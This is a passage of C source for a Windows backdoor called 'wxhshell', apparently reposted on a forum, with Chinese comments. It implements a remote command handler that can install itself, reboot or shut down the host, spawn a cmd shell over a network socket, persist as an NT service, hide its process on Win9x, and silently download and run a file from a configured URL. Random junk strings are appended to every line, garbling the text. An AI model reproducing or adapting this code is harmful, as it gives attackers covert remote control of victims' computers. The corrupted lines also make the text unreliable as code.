    switch(cmd[0]) { |XA aKZA  
  t2%@py*bU  
  // 帮助 2X;0z$  
  case '?': { y#Za|nt  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); JS7}K)A2B6  
    break; ($ B ]9*  
  } ;7^j-6  
  // 安装 }Oh'YX#[  
  case 'i': { 9Glfi@.  
    if(Install()) Ysc|kxLb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VDu .L8  
    else aU]O$Pg{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p9 ,\{Is  
    break; bb0McEQy  
    } A"<)(M+kG  
  // 卸载 Iam-'S5  
  case 'r': { ny_ kr`$42  
    if(Uninstall()) @1SKgbt>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ];{l$-$$  
    else p<0kmA<B/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vH?+JN"A  
    break; pT;-1c%:  
    } c>WpOZ,  
  // 显示 wxhshell 所在路径 'UXj\vJ3E  
  case 'p': { -G<2R"Q#N  
    char svExeFile[MAX_PATH]; )av'u.]%c  
    strcpy(svExeFile,"\n\r"); JU=\]E@8c  
      strcat(svExeFile,ExeFile); W/ZahPPq  
        send(wsh,svExeFile,strlen(svExeFile),0); V=zM5MH2  
    break; -2jBs-z  
    } b^l -*4  
  // 重启 )3`  
  case 'b': { .";tnC!e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E ^SM`  
    if(Boot(REBOOT)) xX&>5 "  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,ORG"]_F  
    else { z1SMQLk  
    closesocket(wsh); oB{}-[G  
    ExitThread(0); "J[i=~(  
    } : ` 6$/DK  
    break; id#k!*$7  
    } pJ$N@ID  
  // 关机 I bv_D$cT  
  case 'd': { At[n<8_|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mp+\!  
    if(Boot(SHUTDOWN)) ?Str*XA;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rqb{)L X*  
    else { ?4,*RCaI  
    closesocket(wsh); Ubw!/|mi  
    ExitThread(0); R!V5-0%  
    } hNq8 uyKx  
    break; 2 ) /k`Na  
    } .iP G/e  
  // 获取shell leb^,1/D6  
  case 's': { zmL~]! ~&  
    CmdShell(wsh); \BbOljM=  
    closesocket(wsh); bUAR<R'E  
    ExitThread(0); ?;r8SowZ7  
    break; |!xfIR>=F  
  } [`zbf_RyO  
  // 退出 !.2CAL  
  case 'x': { uRB)g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); spSN6 .j  
    CloseIt(wsh); 1y)$[e   
    break; eA*Jfb  
    } v-7Rb )EP  
  // 离开 rz[uuY7  
  case 'q': { L%o65  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Lr24bv\  
    closesocket(wsh); =N@)CB7a  
    WSACleanup(); L`HH);Ozw  
    exit(1); BudWbZ5>Ep  
    break; we H@S  
        } A}#]g>L  
  } |?fW!y  
  } CNpe8M=/3  
HV$9b~(  
  // 提示信息 1 ~B<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =UB*xm%!  
} FUzMc1zy|  
  } 6Bq~\b^  
l#5~ t|\  
  return; B::4Qme  
} LpiHoavv  
7$1fy0f[l  
// shell模块句柄 #E$Z[G]  
int CmdShell(SOCKET sock) _']%qd"%  
{ 35%[D Ukb  
STARTUPINFO si; N)vk0IM!  
ZeroMemory(&si,sizeof(si)); }o!#_N0T  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Xew1LPI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; StdS$XW  
PROCESS_INFORMATION ProcessInfo; O7'<I|aD  
char cmdline[]="cmd"; p29yaM  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,{uW8L  
  return 0; c+Q.?vJ  
} t4jd KYA  
j5,^9'  
// 自身启动模式 dK J@{d  
int StartFromService(void) t> x-1vf%  
{ =$)4:  
typedef struct 6=G~6Qu  
{ 5M<' A=  
  DWORD ExitStatus; OD?y  
  DWORD PebBaseAddress; l}Q"Nb)  
  DWORD AffinityMask; #90[PASx  
  DWORD BasePriority; jIx8k8  
  ULONG UniqueProcessId; tL={y*  
  ULONG InheritedFromUniqueProcessId; '#,e @v  
}   PROCESS_BASIC_INFORMATION; B0b[p*g Il  
(<bm4MPf  
PROCNTQSIP NtQueryInformationProcess; d%#!nq{vd  
B.}_],  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bVa+kYE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *]}CSZ[>  
{uaZ<4N.  
  HANDLE             hProcess; 4GU/V\e|  
  PROCESS_BASIC_INFORMATION pbi; eq@am(#&kY  
<THZ2`tTK3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d}{LM!s  
  if(NULL == hInst ) return 0; 7xv4E<r2  
,]PyDq6  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z.2r@Psk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (|0.m8D~D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); BR& Aq  
hzT{3YtY2  
  if (!NtQueryInformationProcess) return 0; nabBU4;h  
99l>CYXd  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /~3N@J  
  if(!hProcess) return 0; y*VQ]aJ  
KA5~">l  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JmU<y  
g.B%#bfg  
  CloseHandle(hProcess); j4~7akG  
m,W) N9 M  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >lD;0EN  
if(hProcess==NULL) return 0; (O)\#%,@R  
Q0zW ]a  
HMODULE hMod; {fGd:2dh  
char procName[255]; mR{CVU  
unsigned long cbNeeded; 0>,.c2),  
 ]{f^;y8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ==QWwPpA  
b]!9eV$  
  CloseHandle(hProcess); G(U9rJ9  
lLb:f6N  
if(strstr(procName,"services")) return 1; // 以服务启动 @s_3 0+  
Ds%9cp*6  
  return 0; // 注册表启动 ~Cjz29|gp  
} "w}-?:# j  
f4]N0  
// 主模块 "z rA``  
int StartWxhshell(LPSTR lpCmdLine) ~bdv_|k  
{ 0 HGlf  
  SOCKET wsl; [8>z#*B  
BOOL val=TRUE; BdN8 ^W  
  int port=0; :83,[;GO2  
  struct sockaddr_in door; FJP< bREQ  
^4c,U9J=  
  if(wscfg.ws_autoins) Install(); 0U$:>bQ  
e^j<jV`1  
port=atoi(lpCmdLine); c_ La^HS  
r55qmPhg  
if(port<=0) port=wscfg.ws_port; z;i4N3-:  
&&[zT/]P  
  WSADATA data; >Bc> IO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0cHfxy3  
O^5UB~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   KAd_zkUA  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +7,8w  
  door.sin_family = AF_INET; '.?^uM  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); b2N6L2~V  
  door.sin_port = htons(port); 6X/wd k  
qE )Y}oN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { taweGc%~  
closesocket(wsl); F\a]n^ Y  
return 1; Pm4e8b  
} 3sH\1)Zz  
g>so R&*  
  if(listen(wsl,2) == INVALID_SOCKET) { 9YB2 e84j  
closesocket(wsl); (+* ][|T  
return 1; i+g~ Uj}h  
} ,V,f2W 4  
  Wxhshell(wsl); .*BA 1sjE  
  WSACleanup(); #~L!pKM  
5sCFzo<=vh  
return 0; /Rj#sxtdw  
}g~g50ci  
} Kx~$Bor_!  
ZWO)tVw9G  
// 以NT服务方式启动 ; e@gO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ipobr7G.SD  
{ i3#'*7f%j  
DWORD   status = 0; 8".2)W4*  
  DWORD   specificError = 0xfffffff; LheFQ A  
$.pTB(tO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; NmJ`?-Z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; OTj,O77k  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ._?V%/  
  serviceStatus.dwWin32ExitCode     = 0; %SAw;ZtQ:  
  serviceStatus.dwServiceSpecificExitCode = 0; `Oq M8U @  
  serviceStatus.dwCheckPoint       = 0; ;j{7!GeKa  
  serviceStatus.dwWaitHint       = 0; lwc5S `"  
we3tx{j  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); C5|db{=\.*  
  if (hServiceStatusHandle==0) return; <47k@Ym   
7h%4]  
status = GetLastError(); *m9{V8Yi2  
  if (status!=NO_ERROR) LN4qYp6)G  
{ 4S|=/f  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; k;k}qq`d  
    serviceStatus.dwCheckPoint       = 0; iK#/w1`  
    serviceStatus.dwWaitHint       = 0; `\bT'~P  
    serviceStatus.dwWin32ExitCode     = status; ~2@Lx3t$  
    serviceStatus.dwServiceSpecificExitCode = specificError; (9 sIA*,}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); jNA1O68N  
    return; |~WYEh  
  } UUeB;'E+  
/@hJpz|+   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )tS-.PrA-  
  serviceStatus.dwCheckPoint       = 0; .h4\{|  
  serviceStatus.dwWaitHint       = 0;  4*TmlY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qTT,U9]:  
} Tk*w3c"$  
T>A{ qu  
// 处理NT服务事件,比如:启动、停止 dH\XO-Z7v  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 03k?:D+5  
{ mk!Dozb/  
switch(fdwControl) lT'9u,6   
{ /)EY2Y'  
case SERVICE_CONTROL_STOP: n2 {SV  
  serviceStatus.dwWin32ExitCode = 0; ib$nc2BPb  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; DVlJ*A  
  serviceStatus.dwCheckPoint   = 0; I9Eu',  
  serviceStatus.dwWaitHint     = 0; Kc #|Z  
  { (CJ.BHu]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9@K.cdRjQ  
  } .$&Q[r3Lu  
  return; e4`uVq5  
case SERVICE_CONTROL_PAUSE: a^t?vv  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H6K`\8/SeN  
  break; )}MHx`KT2  
case SERVICE_CONTROL_CONTINUE: WA6!+Gy  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; O/Rhf[7v*  
  break; $bvJTuw  
case SERVICE_CONTROL_INTERROGATE: ,lt8O.h-l  
  break; t 9^A(Vh"-  
}; uLQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cK@jmGj+  
} xyA-P& N  
/6K Il  
// 标准应用程序主函数 krB'9r<wa`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~6aCfbu%V  
{ c+kU o$  
LOvHkk@+  
// 获取操作系统版本 "Pz}@=  
OsIsNt=GetOsVer(); "5Uh< X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8z2Rry w  
-.IEgggf  
  // 从命令行安装 g5Z#xszj+  
  if(strpbrk(lpCmdLine,"iI")) Install(); !TKkec8$  
1u|V`J)0  
  // 下载执行文件 t *G/]  
if(wscfg.ws_downexe) { ka"337H  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w%y\dIeI'  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?F7o!B  
} C/=XuKE-t  
+G F#?X0^  
if(!OsIsNt) { 'zZcn" +!  
// 如果时win9x,隐藏进程并且设置为注册表启动 $w#r"= )  
HideProc(); #!2k<Q*5uT  
StartWxhshell(lpCmdLine); G8Z4J7^  
} i3VW1~.8  
else S'LZk9E  
  if(StartFromService()) )IL #>2n?  
  // 以服务方式启动 | ?yo 3  
  StartServiceCtrlDispatcher(DispatchTable); Ju2l?Rr X  
else 8RW&r  
  // 普通方式启动 V\]" }V)"  
  StartWxhshell(lpCmdLine); p(F" /  
S4CbyXW  
return 0; ln!'_\{  
}
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只看该作者 1 发表于: 2006-10-10
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